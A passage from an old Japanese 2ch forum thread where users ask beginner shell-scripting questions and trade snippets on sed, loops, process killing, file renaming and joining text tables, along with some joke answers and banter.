if echo $t_or_u | grep '^http' >/dev/null 2>&1; then
$w3m http://translate.google.com/translate_c'?u='${t_or_u}'&langpair='${from:=en}%7C${to:=ja}
else
echo -n 'text='${t_or_u:=text}'&langpair='${from:=en}%7C${to:=ja}'&ie=EUC-JP' > $TMPFILE
$w3m http://translate.google.com/translate_t -post $TMPFILE
fi

% ./trans.sh test
% ./trans.sh 'My name is unknown' en ja
% ./trans.sh 'Ich liebe dich' de en
% ./trans.sh 名無しさん@お腹いっぱい ja en
% ./trans.sh http://www.yahoo.com
% ./trans.sh http://www.yahoo.de de en
...

412 :名無しさん@お腹いっぱい。:05/02/18 19:34:23
ごめん、confirm_qq=0 の間違い

413 :405,408:05/02/18 20:22:40
>>411-412
thanx!すごく楽しめそう

漏れの環境のw3m 3.22ではuse_history=0はエラーになった。




414 :405,408:05/02/18 20:26:19
礼として漏れが使ってるのをうpする。

X上の端末でhtmlファイルを見つけた時に、mozillaで開く為のスクリプト

#!/bin/sh

if [ $# -gt 0 ]; then
ARG1=${1}
if [ ! -f "${ARG1}" ]; then
echo "${ARG1} was not found."
exit 1
fi
PATH1=`echo "${ARG1}"|cut -b 1`
if [ ${PATH1} = '/' ]; then
mozilla "file://${ARG1}"
else
PWD=`pwd`
mozilla "file://${PWD}/${ARG1}"
fi
else
mozilla
fi
exit 0


415 :413:05/02/18 20:40:15
質問です。
以下のスクリプトを動かそうとすると、[: -le: unary operator expected と怒られます。
ぐぐったら、UNLIMITをどうのこうのと書いてありましたが、良くわかりません。
ちゃんと自分の考えた通りに動くのですが、このエラーメッセージを消すためにはどのような
ことをすればよろしいでしょうか。よろしくお願いします。
#! /usr/bin/bash

ulimit -c 0  #これをするとcoreファイルを作らない。

byeps(){ #選択したプロセスの番号が正しいかチェックする関数
read BYE
if [ $BYE -le $NUM ]; then
GO=1
elif [ $BYE -le $NUM ]; then
GO=0
echo -n "Please type the number you want kill,not ps number."
elif [ "$BYE" = "exit" ]; then
echo done
exit
else
GO=0
echo -n "Please type the number you want kill,not ps number."
fi
}


416 :413:05/02/18 20:40:58
yn(){  #yかnかを聞く関数。
echo -n "${KILL[$BYE]} ${PROC[$BYE]} OK?(y/n)"
read REP
if [ "$REP" = "y" ]; then

PASS=1
kill -HUP ${KILL[$BYE]}
echo -n ${PROC[$BYE]} "is killed"
echo -e \\t

#elif [ !$REP ]; then

elif [ "$REP" = "n" ]; then

PASS=1
echo "Good bye."

else

PASS=0
echo -n "Please type y/n"
fi
}



417 :名無しさん@お腹いっぱい。:05/02/18 20:43:07
###############メイン###################
NUM=`ps auwx | grep $USER | sort | wc | awk '{print $1}'` #自分のプロセスをwcした行の数字
ps auwx|grep $USER > $HOME/proccess.dat     #proccess.datにpsの結果を代入
KILL=(`cat $HOME/proccess.dat|awk '{print $2}'`)   #killするプロセス番号をkill[]に入れる
PROC=(`cat $HOME/proccess.dat|awk '{print $11 $12 $13 $14}'`)  #パスをある程度分までPROC[]に入れる

echo -n "your ps auwx|grep" $USER "are ...."
echo -e \\v

for i in `seq 1 $NUM`; #C言語ふうのfor

do
echo -n "$i"
echo -e -n \\t
echo -n "${KILL[$i]}"
echo -e -n \\t
echo "${PROC[$i]}"
done
echo -n "Please enter the number you want to kill:"
GO=0
while [ $GO -eq 0 ];do
byeps #関数byeps
done
PASS=0
while [ $PASS -eq 0 ];do
yn #関数yn
done
rm -rf proccess.dat
exit
これは、kill プロセス番号とやるのにpsしてプロセス番号を調べないといけないのを億劫に思って、
スクリプトの勉強も兼ねて作ったスクリプトです。つたないですが、よろしくおねがいします。

418 :415:05/02/18 20:44:10
すいません。さっき見てたときに412でレスがストップしていたので、413とかいてしまいましたが、>>413さんとは
別の人です。ごめんなさい。

419 :405,408,413,414:05/02/18 20:59:12
>>418
今、抗議しようと思ってたところだ

確かめずに番号書くなよ

420 :名無しさん@お腹いっぱい。:05/02/18 21:04:24
416では
> if [ "$REP" = "y" ]; then
って書いてるのに、どうして415では
> if [ $BYE -le $NUM ]; then
にしちゃうんだよもん?。

421 :418:05/02/18 21:08:56
>>419様 申し訳ありませんでした。

>>420様 関数をひとつにまとめるということですね。


422 :名無しさん@お腹いっぱい。:05/02/18 21:30:26
>>420

頭がこんがらがってひとつにまとめることができませんでした。
ってか、こんな小さなプログラムなのに関数を作るなんてわたしはなにを考えているのでしょう。
ごめんなさい。少し時間を下さい。

423 :名無しさん@お腹いっぱい。:05/02/18 21:57:36
seqをjotに変えて動かしてみたけど、エラー出ないぞ

ところでtopって知ってるかい

424 :418:05/02/18 22:41:45
>>423

はうあ!!! topでk押したら大変なことが起きました。
ありがとうございますだ。m(_ _)m


425 :名無しさん@お腹いっぱい。:05/02/18 23:20:41
>>424
>>420

426 :名無しさん@お腹いっぱい。:05/02/19 00:31:11
>>378,381
ありがとー^^おかげで解決しました。

427 :名無しさん@お腹いっぱい。:05/02/19 17:52:39
aはb,c...から作られていることを表すリストa: b, c, ...から
aからxまでのパスを見付けたい。
例えば
c: a, b
d: a, c
e: b, c
f: d, e

aからfまでのパスは
c: a,b
d: a, c
f: d, e
となるスクリプトを教えて下さい。

428 :名無しさん@お腹いっぱい。:05/02/19 17:58:55
シェルスクリプトでやる意味あんの?
ム板のお好きな言語のスレへ行くのが適切では。


429 :名無しさん@お腹いっぱい。:05/02/19 18:04:47
>>427
うはwwwwwwwwwww何をww言ってるかwwwwwwwww分からないwwwwwwwwwwwwwwwwwwwwwwwwwww

430 :名無しさん@お腹いっぱい。:05/02/19 18:06:04
俺も意味わからん。解読できる>>428はすごい。

431 :名無しさん@お腹いっぱい。:05/02/19 18:09:50
>>427
後半の意味がわからないが、make使えばできそう。

432 :名無しさん@お腹いっぱい。:05/02/19 18:09:52
>>427
目的は?宿題なら自分で。

433 :名無しさん@お腹いっぱい。:05/02/19 18:12:18
>>427
最終端から逆に辿っていけば楽にできるっしょ。
まぁ shell script で書く気にゃなれんがw

434 :名無しさん@お腹いっぱい。:05/02/19 18:13:24
たぶん隣接リストでグラフ探索かなと予想

435 :名無しさん@お腹いっぱい。:05/02/19 18:39:39
>>427
すみません、例題のパス指定を間違えました。
例えば
c: a, b
d: a, c
e: b, c
f: d, e

aからdまでのパスは
c: a,b
d: a, c
を表示するスクリプトを教えて下さい。

436 :名無しさん@お腹いっぱい。:05/02/19 18:47:53
>>435
#!/bin/sh
echo "c: a,b"
echo "d: a, c"


437 :名無しさん@お腹いっぱい。:05/02/19 18:55:31
>>427>>435の違いがわからん(´・ω・`)

説明のどこがどう改善されたの?

438 :名無しさん@お腹いっぱい。:05/02/19 19:42:11
なんか元の問題を推測するスレになってるw

> aからdまでのパスは
> c: a,b
> d: a, c

d: a,c だけでいいんじゃねーの? c: a,b が必要になる理由がわからん。
それとも b: a というルールがあるか a,b ともに初期条件なのか。

でもどう考えてもシェルスクリプト関係ねーし、
質問者の説明能力がchallengedだし、
ム板の宿題スレに行った方がいいと思うよ。


439 :名無しさん@お腹いっぱい。:05/02/19 20:04:55
>>432
最終的にはクリティカルパスを求めたいのです。

440 :名無しさん@お腹いっぱい。:05/02/19 20:14:52
#!/bin/sh

line1=________
line2=________
line3=________
line4=___OX___
line5=___XO___
line6=________
line7=________
line8=________

というシェルスクリプトで、
オセロの次の一手を求めるにはどう書けばいいでしょうか?

とりあえず、以下のスクリプトで、
現在の番面表示はできています。

echo \
"$line1
$line2
$line3
$line4
$line5
$line6
$line7
$line8"


441 :login:Penguin:05/02/19 20:16:44
すみません、2つの引数をとるシェルプログラムでその引数を四則演算するにはどうしたらいいですか?

442 :441:05/02/19 20:23:36
書き忘れました、環境はRed Hat Linux release 7.1です

443 :名無しさん@お腹いっぱい。:05/02/19 20:24:50
>>441
まさか、
expr $1 + $2
とか、
echo "$1 + $2" | bc -l
とか、そんな基本中の基本を聞いてるんじゃないよな?

444 :名無しさん@お腹いっぱい。:05/02/19 20:26:18
>>441
たのむら、こぐらいはやってから来てくれよ。
http://www.google.com/search?num=30&hl=ja&c2coff=1&q=bsh+%E5%9B%9B%E5%89%87%E6%BC%94%E7%AE%97&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja

445 :名無しさん@お腹いっぱい。:05/02/19 20:32:52
>>440
ネタだよね?

446 :名無しさん@お腹いっぱい。:05/02/19 20:36:57
>>439
一行で書けるが宿題っぽいので教えない(AA略

447 :名無しさん@お腹いっぱい。:05/02/19 20:42:44
>>440
echo -n "次の手を入力してください: "
read itte

448 :名無しさん@お腹いっぱい。:05/02/19 20:44:02
>>446
ネタだよね?


449 :名無しさん@お腹いっぱい。:05/02/19 20:57:00
このところいい感じだったのに、今日はひでぇな

450 :名無しさん@お腹いっぱい。:05/02/19 20:57:31
>>440
ネタだろうけどマジレスするぞ。

. next_hand.sh

line1=`next_hand $line1 $line2 $line3 $line4 $line5 $line6 $line7 $line8 1`
line2=`next_hand $line1 $line2 $line3 $line4 $line5 $line6 $line7 $line8 2`
line3=`next_hand $line1 $line2 $line3 $line4 $line5 $line6 $line7 $line8 3`
line4=`next_hand $line1 $line2 $line3 $line4 $line5 $line6 $line7 $line8 4`
line5=`next_hand $line1 $line2 $line3 $line4 $line5 $line6 $line7 $line8 5`
line6=`next_hand $line1 $line2 $line3 $line4 $line5 $line6 $line7 $line8 6`
line7=`next_hand $line1 $line2 $line3 $line4 $line5 $line6 $line7 $line8 7`
line8=`next_hand $line1 $line2 $line3 $line4 $line5 $line6 $line7 $line8 8`

と、書けば、原理的には桶のはず。
あとは、シェル関数の定義が入ったnext_hand.sh の作り方次第だ。がんがれ。

451 :名無しさん@お腹いっぱい。:05/02/19 22:01:52
>>450
それだと、シェル関数 next_handがidempotentでなかった場合、
lineごとに矛盾が起きる。
それに、そもそも8回も呼んでコマンド置換するのは無駄。
そもそもシェル関数の変数はグローバルなんだから、
内部で全変数に代入して終り。

よって、

. next_hand.sh

next_hand

でOK。あとはシェル関数次第w

452 :名無しさん@お腹いっぱい。:05/02/19 22:05:05
>449
宿題君を甘やかすとどこでも必ずこーゆー流れになるな

453 :名無しさん@お腹いっぱい。:05/02/19 22:14:08
ちうか、最初の呼び出しでline1壊しちゃうからダメじゃん。
マジレスといいつつ >>450 自体もネタだな。

454 :名無しさん@お腹いっぱい。:05/02/19 22:20:52
まぁこのスレもネタなんだけどな

455 :名無しさん@お腹いっぱい。:05/02/19 22:58:08
少しはMac板のスレを見習えよ・・・。

Macでシェルスクリプト総合 Part 1
http://pc7.2ch.net/test/read.cgi/mac/1105074933/

456 :名無しさん@お腹いっぱい。:05/02/19 23:06:32
シェルスクリプトとスクリプト言語(perl, ruby, python等)をどう
使い分けていますか?

457 :名無しさん@お腹いっぱい。:05/02/19 23:14:29
シェルでできることなら、シェルスクリプト。
できなかったら、awk, perl 等のスクリプト。(ruby は嫌いじゃ。python は使ったことない。)
それでもだめなら、C とかで組む。

458 :名無しさん@お腹いっぱい。:05/02/19 23:34:31
>>455
ワロタ
この板の住人にはムリと思われ

459 :名無しさん@お腹いっぱい。:05/02/19 23:36:47
ちょっとだけのつもりだったシェルスクリプトが
肥大化して複雑怪奇になってから
こんなことなら最初からperlあたりで書けばよかったorzと後悔することも多い

460 :名無しさん@お腹いっぱい。:05/02/19 23:37:43
>>455
Mac板に割にはえらい機能してるスレだな。
Paperとやらのレベルは低そうだが。

461 :名無しさん@お腹いっぱい。:05/02/19 23:40:54
>>455
ここにあったんだが、
こういうのをシェルスクリプトだけで書こうとするところは
低能なマカらしいなw

http://sheel.mynds.jp/~sheel/temperature.zip

462 :名無しさん@お腹いっぱい。:05/02/19 23:46:18
>>460-461
455はそのふたりのための隔離スレなんですが(w


463 :名無しさん@お腹いっぱい。:05/02/19 23:46:32
>>461
そいつは向こうでも馬鹿で嫌われてる奴だろう。
例えるなら n=(ry か?

464 :名無しさん@お腹いっぱい。:05/02/20 00:25:58
ここで良いのか分かりませんが、
sedのコマンドファイルは30行ぐらいしか書けないとの制限がある
と聞いたのですが本当でしょうか?

465 :名無しさん@お腹いっぱい。:05/02/20 00:34:17
試してみれば?

466 :名無しさん@お腹いっぱい。:05/02/20 00:49:31
特定の文字列と文字列の間の文字列を抽出するスクリプトって無いですか?

'abcdefghijklmn' に対して 'abc' と 'gh' を指定すると 'def' を返すような。


それくらいsed使えば楽勝かと思って取り掛かったら、なんか全然難しくて orz

467 :名無しさん@お腹いっぱい。:05/02/20 00:52:26
それくらい楽勝。正規表現を勉強するよろし。


468 :名無しさん@お腹いっぱい。:05/02/20 01:57:53
>>466
grep と >>397 さんの組み合わせるだけでできたよ。

469 :名無しさん@お腹いっぱい。:05/02/20 02:04:08
sed だと最小マッチがないから単体だとやりにくいかもね。

470 :名無しさん@お腹いっぱい。:05/02/20 02:10:01
echo "$1" | sed 's/^.*'"$2"'\(.*\)'"$3"'.*$/\1/'
じゃだめなの?

471 :名無しさん@お腹いっぱい。:05/02/20 02:17:14
$ cat hoge.sh
#!/bin/sh

sed -e "s/^.*$1//" -e "s/$2.*$//" "$3"

$ echo 'abcdefghijklmn' | ./hoge.sh abc gh
def


472 :名無しさん@お腹いっぱい。:05/02/20 02:18:29
条件にマッチしない行のことを考えると
sed -n "s/...../p"
じゃないとダメだと思う。

473 :名無しさん@お腹いっぱい。:05/02/20 03:09:27
マッチするものが一行に複数ある場合も考えてみた

#!/bin/sh
sed -n "/$1/s/[^$1]*$1\([^$2]*\)$2[^$1]*/\1:/gp" "$3"



474 :名無しさん@お腹いっぱい。:05/02/20 03:12:11
補足。
引数の$1,$2はそれぞれ1文字じゃないとダメ。

475 :ななしさん:05/02/20 14:06:46
九九を表示するシェルプログラムをwhileを使って作成するにはどうしたらいいですか?

1 2
2 4
3 6
4 8
5 10
6 12
7 14
8 16
9 18 ・・・・


476 :名無しさん@お腹いっぱい。:05/02/20 14:14:32
#! /bin/sh
cat 9x9table.txt | while read tmp
do echo $tmp
done


477 :名無しさん@お腹いっぱい。:05/02/20 14:19:30
#!/bin/zsh

for ((i = 1; i <= 9; i++)) {
for ((j = 1; j <= 9; j++)) {
printf "%3d" "$((i * j))"
}
print
}


478 :名無しさん@お腹いっぱい。:05/02/20 14:20:32
うはwwwwwwwwwwwwwwwwhile使ってwwwwwwないやwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

479 :名無しさん@お腹いっぱい。:05/02/20 14:22:05
最後に#whileって付け加えりゃいいだろ

480 :ななしさん:05/02/20 14:28:12
>478
>479
逝ってよし

481 :名無しさん@お腹いっぱい。:05/02/20 14:57:06
#!/bin/sh
a=1
while [ $a -le "9" ]
do
b=1
while [ $b -le "9" ]
do
echo $a "x" $b "=" `expr $a \* $b`
b=`expr $b + 1`
done
a=`expr $a + 1`
done


482 :名無しさん@お腹いっぱい。:05/02/20 15:37:50
>>479
ワロタ

483 :名無しさん@お腹いっぱい。:05/02/20 20:49:26
yes ""|head -9|cat -n|while read a; do yes ""|head -9|cat -n|while read b; do echo $a x $b = $(($a*$b)); done; done

484 :名無しさん@お腹いっぱい。:05/02/20 22:30:43
二つの引数の間の数を表示するシェルプログラムを作成してみよう。
回答例
test3.sh 3 5
3
4
5

お願いします

485 :名無しさん@お腹いっぱい。:05/02/20 22:37:37
>>475 >>484
いいかげん「シェルプログラム」なんていう自分勝手な用語は改めてください。

486 :名無しさん@お腹いっぱい。:05/02/20 22:38:20
>>484
宿題は自分でやれ

487 :名無しさん@お腹いっぱい。:05/02/20 22:44:00
同一人物?>>475, >>484
九九の例で出してもらったスクリプトの意味を理解したら、
>>484はすぐできるでしょ。

488 :名無しさん@お腹いっぱい。:05/02/20 22:51:40
>>484
#!/bin/zsh
print -l {$1..$2}


489 :名無しさん@お腹いっぱい。:05/02/20 22:56:25
>>484
echo -n $1 . ; while true; do echo -n 0; done ; echo 1


490 :名無しさん@お腹いっぱい。:05/02/20 23:02:06
>>484
#!/bin/sh
seq $1 $2

491 :名無しさん@お腹いっぱい。:05/02/21 00:40:05
ファイルサイズが0とそれ以外の場合で
実行結果を変えたいのですが、その方法を教えてください。

現状では
ファイルの編集 $ORIGINALFILE > $TMPFILE
cat < $TMPFILE >> $SAVEFILE
と、なっています。

これを、一時ファイルのサイズが0の場合に
$TMPFILEではなく$NODATAを実行するようにしたいのですが
どのように書き加えたらよいでしょうか?


492 :名無しさん@お腹いっぱい。:05/02/21 00:45:16
[ -s

493 :名無しさん@お腹いっぱい。:05/02/21 00:48:51
man test


494 :名無しさん@お腹いっぱい。:05/02/21 00:49:22
man test



495 :名無しさん@お腹いっぱい。:05/02/21 03:29:04
縦読み文章を作れるシェルスクリプトの書き方が分かりません。
どなたかご教授願います。

実行例
./aaa.sh "ゆにっくす"

ゆるぎない
にこちん
っつーのは
くそまみれの
するめいか

496 :名無しさん@お腹いっぱい。:05/02/21 03:57:53
やなこった

497 :名無しさん@お腹いっぱい。:05/02/21 09:48:53
>>495
シェルでやんなきゃいかんの?

498 :名無しさん@お腹いっぱい。:05/02/21 10:16:21
たとえば"ゆ"で始まる文がたくさん欲しいよね
それはどうするの?

499 :名無しさん@お腹いっぱい。:05/02/21 10:59:51
$ cat aaa.sh
cat <<EOF
ゆるぎない
にこちん
っつーのは
くそまみれの
するめいか
EOF

500 :名無しさん@お腹いっぱい。:05/02/21 11:25:32
お題を出して、それに答えが返って来るのを見て喜んでる香具師がいるな
おまいら遊ばれてんじゃね?

501 :名無しさん@お腹いっぱい。:05/02/21 11:26:08
それはそれで良いんじゃない?

502 :名無しさん@お腹いっぱい。:05/02/21 11:33:22
catしただけの答えとか、
本人はそれで気の効いた回答だと思っているのかどうか、気になる。

503 :名無しさん@お腹いっぱい。:05/02/21 11:38:13
気を効かせる必要はないので気にするな。

504 :500:05/02/21 11:43:20
> それはそれで良いんじゃない?
予想外の反応だった…
何か自分の心の狭さを思い知らされたみたいで鬱だ… orz
しばらく消えます

505 :名無しさん@お腹いっぱい。:05/02/21 11:54:10
有用でもなく、笑えるわけでもないレスを
なぜわざわざ書くのかは気になるなぁ。

506 :名無しさん@お腹いっぱい。:05/02/21 11:54:30
>>505
>>505

507 :491:05/02/21 21:58:58
>>493-494
man test 読んでもわかんね・・・・orz


週末にでも本屋に行って>>3の本を探して立ち読みしないとだめかな

508 :名無しさん@お腹いっぱい。:05/02/21 22:01:23
個人的には入門bashがおすすめ

509 :名無しさん@お腹いっぱい。:05/02/21 22:22:12
>>507
いや、>>492なんかそのまま答えだぞ。if文、書ける?

510 :名無しさん@お腹いっぱい。:05/02/21 22:30:54
Learning the bash shellを買った。
なかなか進まんw

511 :名無しさん@お腹いっぱい。:05/02/21 22:36:32
>>507
>>2 のサイトを読んでみるといいと思う。本屋まで行かなくても読めるし。
とりあえず、一番上のBourne Shell自習テキストあたりを。

あとは man sh とか man bash とかやって
if list とかで検索すれば、if 文の説明があるはず。

512 :名無しさん@お腹いっぱい。:05/02/22 10:24:53
イケてる小町算を見せて下さい。

513 :名無しさん@お腹いっぱい。:05/02/23 10:37:26
>>512
ふつうの
#!/bin/bash
function koma () {
if [ $1 -eq 10 ]; then
if [ $(($2)) -eq 100 ]; then
echo $2 = $(($2));
fi;
return;
fi;
for aa in "" + -; do
koma $(($1 + 1)) $2$aa$1;
done;
}

koma 2 1;


514 :名無しさん@お腹いっぱい。:05/02/23 21:59:26
linux板かと思った

515 :名無しさん@お腹いっぱい。:05/02/23 23:32:53
質問です。(ここで良いか分かりませんが…)

PHPとか使ってブラウザから特定のシェルを実行させたいのですが、
どこかにサンプルや解説サイトってありませんか?


516 :名無しさん@お腹いっぱい。:05/02/23 23:36:30
>>515
>>1
>・シェルスクリプトのことをシェルってゆーな

PHP でやりたいってのならスレ違いor板違いじゃないか?

517 :名無しさん@お腹いっぱい。:05/02/24 07:34:40
>>515
「php exec」でググってくれ。
あとは、WebProg板で質問してね。

518 :515:05/02/24 08:42:24
>>516-517

Thanks. m(_ _)m

519 :名無しさん@お腹いっぱい。:05/02/24 19:49:20
最近、シェルスクリプトの本を読み始めたんだけど「^」ってどういう意味?
ググってもいまいちズバって答えてるサイトが見つからなくて(´・ω・`)
優しくてエロい方、教えてください。

520 :名無しさん@お腹いっぱい。:05/02/24 19:51:47
>>519
文脈に依存する

521 :519:05/02/24 19:59:32
>>520
まじまじまじで?
では「learning the bash shell」のP106から引用します。
ーーーーーーーーーーーーーーーーーーーーーーーーーーーー
function lsd
{
date=$1
ls -l | grep -i "^.\{42\}$date" | cut -c55-
}
ーーーーーーーーーーーーーーーーーーーーーーーーーーーー
         ↑
         ここ

522 :519:05/02/24 20:00:20
ちょっとずれたがご勘弁。優しくてエロい方、お願い!!

523 :名無しさん@お腹いっぱい。:05/02/24 20:06:18
エロくないので自粛しよう。

524 :名無しさん@お腹いっぱい。:05/02/24 20:07:05
正規表現
文頭

525 :名無しさん@お腹いっぱい。:05/02/24 20:07:45
>>521
grep -i "^.\{42\}$date"が^を解釈すべき文脈。
というわけで、grepの引数に^がどう解釈されるか調べるといいよ。
まずはmanだね。

正規表現という話に行き当たるはず。



526 :名無しさん@お腹いっぱい。:05/02/24 20:18:19
つか、その関数、期待どおりに動くか?

527 :名無しさん@お腹いっぱい。:05/02/24 20:27:37
昔のshは ^ がパイプだったなぁ

528 :519:05/02/24 20:30:38
>>523
(`・ω・´)

>>524,525
ありがとうございます。実はmanも読んだし、正規表現や文頭というキーワードも
掴んでいるんですが。

man grepから引用。
ーーーーーーーーーーーーーーーーーーーーーーーー
The caret ^ and the dollar sign $ are metacharacters that respectively
match the empty string at the beginning and end of a line.
ーーーーーーーーーーーーーーーーーーーーーーーー
この「the empty string at the beginning」という表現が分からないんです(´・ω・`)
the empty stringってのがなんの為にあるのか。
これは標準出力の文頭には必ず存在するものっていう解釈でいいんですかね?

>>526
動きますよ。
一応、「learning the bash shell」からさらに引用します。
ーーーーーーーーーーーーーーーーーーーーーーーーー
If this isn't the case in your version of UNIX, you will need to adjust the column numbers.
ーーーーーーーーーーーーーーーーーーーーーーーーー

529 :名無しさん@お腹いっぱい。:05/02/24 20:43:21
>>528
「行頭」という特定の文字は存在しないよ
ってことを言っているのでわ。

"$" で言えば,
"$" は改行コードにマッチするわけじゃなく,
行末という概念的な(?)位置にマッチするんだよ,と。

530 :519:05/02/24 21:00:12
>>529
なるほど。
grep -i "^.\{42\}$date"
の場合の^は、「行頭から数えて」という意味のようですね。
もやもやが晴れました。ありがとうございました。

531 :名無しさん@お腹いっぱい。:05/02/24 21:54:44
#読むとほのぼのするスレだなぁ
>>527 エラク昔の話だねw

532 :名無しさん@お腹いっぱい。:05/02/24 21:59:55
>>528
>この「the empty string at the beginning」という表現が分からないんです(´・ω・`)

'^' や '$' にマッチした部分文字列をあとで参照した時,空文字列になるということを
明示的に表現している。
極端な例だと,sedで「s/¥(^¥).*/¥1/」とか。
...って,余計分かりにくいか。要するに>>529の理解で実用上問題ない。

533 :名無しさん@お腹いっぱい。:05/02/25 11:49:40
^は、cshだと文字列痴漢だな。
^痴漢^置喚


534 :名無しさん@お腹いっぱい。:05/02/25 16:03:49
アナルは性器表現?

535 :名無しさん@お腹いっぱい。:05/02/25 16:20:04
卑猥な表現

536 :名無しさん@お腹いっぱい。:05/02/25 20:25:20 ID:??? ?#
あるファイルの特定の場所に特定の文字を記入するシェルスクリプトをかこうとしています。
自分で考えた方法は、

食事.shというファイルがあるとすると
echo "食べ物「/""$1"」を食べる
飲み物「/""$2"」を飲む" > menu.txt

とリダイレクションを利用し、
$ ./食事.sh カレー 水

$ cat menu.txt
食べ物「カレー」を食べる
飲み物「水」を飲む

として成功しました。
でもこれは、menu.txtをまるまる上書きしているだけです。
どうにか$1、$2の変数代入値を、直接menu.txtの「」内のみ
更新できるようなスクリプトを組みたいなと思い悩んでいます。
cutコマンドやgrepコマンドを使えばいいのかといろいろ考えてみたのですが、
どうもうまくいかないのです。
参考ページやアドバイスなどがありましたら、どうぞよろしくお願いします。

537 :名無しさん@お腹いっぱい。:05/02/25 20:42:46
>>536
もしmenu.txtの「」内の変更で長さが変わったらそれ以降をすべてずらさないといけないので
"直接menu.txtの「」内のみ更新"は無理では?

538 :名無しさん@お腹いっぱい。:05/02/25 21:00:52
叩き台ぐらいにはならないかな…

#!/bin/sh
ed menu.txt <<EOF
/「[^」]*」/s/「[^」]*」/「$1」/
/「[^」]*」/s/「[^」]*」/「$2」/
w
q
EOF


539 :名無しさん@お腹いっぱい。:05/02/25 21:12:52
perl

540 :名無しさん@お腹いっぱい。:05/02/25 21:30:52
ruby

541 :名無しさん@お腹いっぱい。:05/02/27 00:42:38
いろいろ調べてみたのですが、シェルスクリプトで別ファイルの
文字列を編集するのは少々手間がかかるみたいですね。
perlかrubyか、何か言語を勉強してみようと思います。

542 :名無しさん@お腹いっぱい。:05/02/27 00:48:30
>>538にも出てるけどedかsedでええやん

543 :名無しさん@お腹いっぱい。:05/02/27 00:50:28
まず正規表現の勉強をしろや

544 :名無しさん@お腹いっぱい。:05/02/27 15:24:08
>>541 こんなのは?

##shokuji.sh
#!/bin/sh
INPUT=menu.txt
OUTPUT=menu.out
export TABE=$1
export NOMI=$2
sh -c "cat <<EOF > $OUTPUT
`cat $INPUT`
EOF
"

##menu.txt
食べ物「$TABE」を食べる
飲み物「$NOMI」を飲む

545 :名無しさん@お腹いっぱい。:05/02/27 18:10:25
m4という選択肢もあるぞ。


546 :名無しさん@お腹いっぱい。:05/02/27 23:40:54
Xwindow GUIプログラムをシェルスクリプトで制御する
やり方を教えて下さい。

547 :名無しさん@お腹いっぱい。:05/02/27 23:50:26
killとか

548 :名無しさん@お腹いっぱい。:05/02/28 01:48:31
>>3にも出ている『UNIXシェルプログラミング徹底解説』 p145
「whileとuntilの違いは、いつ条件が評価されるか、という点です。whileでは、ループを繰り返すかどうかが
最初に評価されます。そしてtestやコマンドの結果が真であればループのなかの処理が実行されます。
これに対して、untilでは、ループの中の処理が実行された後で、条件が評価されます。つまり、untilの
なかの処理は、最低でも必ず1回は実行されるわけです」

信じてたよ、4,800円も出したから(今は5,200円するらしいけど)… orz
危うく恥かくところだった…

正誤表探したけどないみたいだったので、ここに書き留めておきます


549 :名無しさん@お腹いっぱい。:05/02/28 01:57:39
>>548
俺もそう思ってたけど違うみたいだね
user's guide to the z-shell にそう書いてあった記憶がある

550 :名無しさん@お腹いっぱい。:05/02/28 02:05:56
ファイル名を一括して変更するのに

#!/bin/sh
for i in `ls *.dat` ; do
j=`echo $i | sed s/2004/H16/`
mv $i $j
done

こんな感じで書いたのですが、ファイル名にスペースが入ってると正常に動きません
でした。shからcshやtcsh、bashに変えて(shell依存部分はちゃんと書き換えて)みて
もやっぱりスペースがあると誤動作します。

forとかforeachでこんな感じでファイル名を一括部分変更するのは無理?

551 :名無しさん@お腹いっぱい。:05/02/28 02:13:40
for i in *.dat でどうよ

552 :名無しさん@お腹いっぱい。:05/02/28 02:17:21
あああとmv

553 :名無しさん@お腹いっぱい。:05/02/28 02:21:10
>>550
j="`echo 略`" のように " " で囲んで、
mv のところの $i $j もそれぞれ "$i" "$j" と。

スペースで問題がでるときは " " で。

554 :名無しさん@お腹いっぱい。:05/02/28 02:41:00
>551, 553
アドバイスありがとうございます。
両方の修正を行う事で期待通りの挙動になりました。

555 :名無しさん@お腹いっぱい。:05/02/28 16:24:18
氏名と得点の表tokuten.txtがあります。
---- tokuten.txt ----
波田陽区 23
青木さやか 35
---- tokuten.txt ----

別途、氏名と学籍番号の対応表gakuseki.txtがあります。
---- gakuseki.txt ----
青木さやか 4001
波田陽区 4002
---- gakuseki.txt ----

やりたいことは、氏名に対応する学籍番号でソートして得点表を表示することです。
例で言えば、青木さやか 23、波田陽区 35、という順に表示したいのです。

学籍番号のように、ソートのキーが外部への参照になっている場合、
単純にsortコマンドを使うことができないと思います。
どうすれば外部のキーでソートして、青木さやか、波田陽区の順に出るでしょう?

なお、氏名が同一の者はいないという仕様でお答えいただいて結構です。


556 :555:05/02/28 16:26:56
青木さやかの得点ちごうとる、35点やんか>自分

青木さやか 35
波田陽区 23

のような出力が得られればと思います。

557 :名無しさん@お腹いっぱい。:05/02/28 16:50:31
宿題だろう。少しは自分で考えろよ。
join(1)ってコマンドがあるから、それ使えばできるよ。


558 :名無しさん@お腹いっぱい。:05/03/05 10:52:44
555じゃないが初心者なので考えてみました。
下のようなのじゃ美しくない?

#!/bin/sh
for i in `awk '{ print $1 }' gakuseki.txt`
do
grep $i tokuten.txt
done

559 :名無しさん@お腹いっぱい。:05/03/05 18:23:50
558じゃないが初心者なので考えてみました。
下のようなのじゃ美しくない?

sort -n -k 2 gakuseki.txt | \
sed "s/[ \t]\+[0-9]\+$//;s/.*/& &/;`sed 's|[ \t]\+\([0-9]\+\)$|$/\1/|;s|^|s/|' tokuten.txt`"

560 :名無しさん@お腹いっぱい。:05/03/05 18:27:46
557で答が出てるのに558-559のようなのじゃ美しくない。

561 :名無しさん@お腹いっぱい。:05/03/05 19:25:59
join(1)ってさ、natural join(RDB用語)じゃないんだよ。
natural joinしたい時には自分でバンバンしなきゃならんと思う。

ここでいうnatural joinとは、例えば青木さやかに関する得点行が
2つ以上あるときに、両方とも学籍番号4001を結び付けてくれることね。
join(1)は1つの行だけ4001を結びつけて、他の青木さやか行は捨てちゃうぞ。

555に関しては氏名が同一の者がいないからいいんだが、
一般にはnatural joinしたい場合の方が多くて(当社比)、とても困る。
例挙げると、得点表じゃなく、顧客への部品配送表だった時なんかだな。



562 :名無しさん@お腹いっぱい。:05/03/05 19:32:49
joinってソートしたファイルでないとあかんのでないの?


563 :名無しさん@お腹いっぱい。:05/03/05 22:06:06
>>561
当然氏名が同一じゃないっていう仮定を踏まえてるわけだが。
つーかああいう場合普通は学籍番号をユニークキーとして使うんであって、
同姓同名がありえる場合に氏名なぞキーとして使うわけない。


